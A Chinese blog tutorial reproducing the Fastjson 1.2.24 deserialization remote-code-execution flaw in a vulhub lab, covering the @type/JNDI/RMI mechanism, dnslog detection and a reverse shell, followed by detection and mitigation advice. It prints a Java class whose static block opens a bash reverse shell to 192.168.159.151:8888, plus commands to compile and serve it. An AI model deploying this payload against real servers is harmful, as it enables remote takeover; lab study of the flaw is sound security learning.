Fastjson 反序列化漏洞(CVE-2017-18349)

14 篇文章 0 订阅

目录

Fastjon介绍

序列化与反序列化

漏洞产生的原因

漏洞点测试

使用dnslog探测

反弹shell


这一篇是学习JAVA里面的fastjson 反序列化漏洞,这里还是参考别的师傅总结的文章进行学习

Fastjon介绍

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

 Fastjson 源码地址:

GitHub - alibaba/fastjson: FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.

Fastjson 中文 Wiki:Quick Start CN · alibaba/fastjson Wiki · GitHub

序列化与反序列化

 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

demo:

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {

    public static void main(String[] args) {
        // 将一个 Java 对象序列化为 JSON 字符串
        Person person = new Person("Alice", 18);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);

        // 将一个 JSON 字符串反序列化为 Java 对象
        String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
        Person person2 = JSON.parseObject(jsonString2, Person.class);
        System.out.println(person2.getName() + ", " + person2.getAge());
    }

    // 定义一个简单的 Java 类
    public static class Person {
        private String name;
        private int age;

        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }

        public String getName() {
            return name;
        }

        public int getAge() {
            return age;
        }
    }
}

漏洞产生的原因

fastjson<=1.2.24

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行

Fastjson使用黑白名单用于防御反序列化漏洞,并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。

简单来说:

fastjson数据传输时,序列化话为了避免结果一样,添加了autotype机制(@type键),但其受用户任意调用,恶意构造序列化代码,受害者接受数据反序列化并调用相应模块去执行。

漏洞点测试

这里使用的还是vulhub靶场中的环境

进入到如下目录:

/root/vulhub-master/fastjson/1.2.24-rce

使用docker-compose拉取环境:

环境拉取换成后我们访问查看:

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件:

编译.java文件,生成.class文件:

在class文件所在的目录,Python起一个http服务:

然后在浏览器访问就可以看到当前目录的所有文件:

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,masrhsec项目地址:marshalsec-jar/marshalsec-0.0.3-SNAPSHOT-all.jar at master · RandomRobbieBF/marshalsec-jar (github.com)

下面使一款工具来生成,github下载链接:mbechler/marshalsec (github.com)

在pom.xml所在目录,需要运行以下命令生成.jar文件:

对页面抓包,然后将提交方式修改为POST,提交下列数据

发送后,RMI监听和HTTP监听都会收到请求

使用dnslog探测

可以看到是有回显的,说明我们是存在漏洞点的

反弹shell

这里首先就是需要在漏洞文件夹中新建一个shell.java文件内容如下,是反弹shell的语句:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.159.151/8888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们先在攻击机上使用nc进行监听:

然后将文件编译为class文件:

javac GetShell.java

 开启http服务:

python -m http.server 4444

访问页面可以看到:

 开启RMI服务:

然后还是抓包,将请求方式修改为POST,然后请求体中加上rmi监听的文件:

查看攻击机中的nc监听状态,可以看到已经成功的反弹shell了

参考文章:

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

完全零基础入门Fastjson系列漏洞(基础篇) - 先知社区

  • 17
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值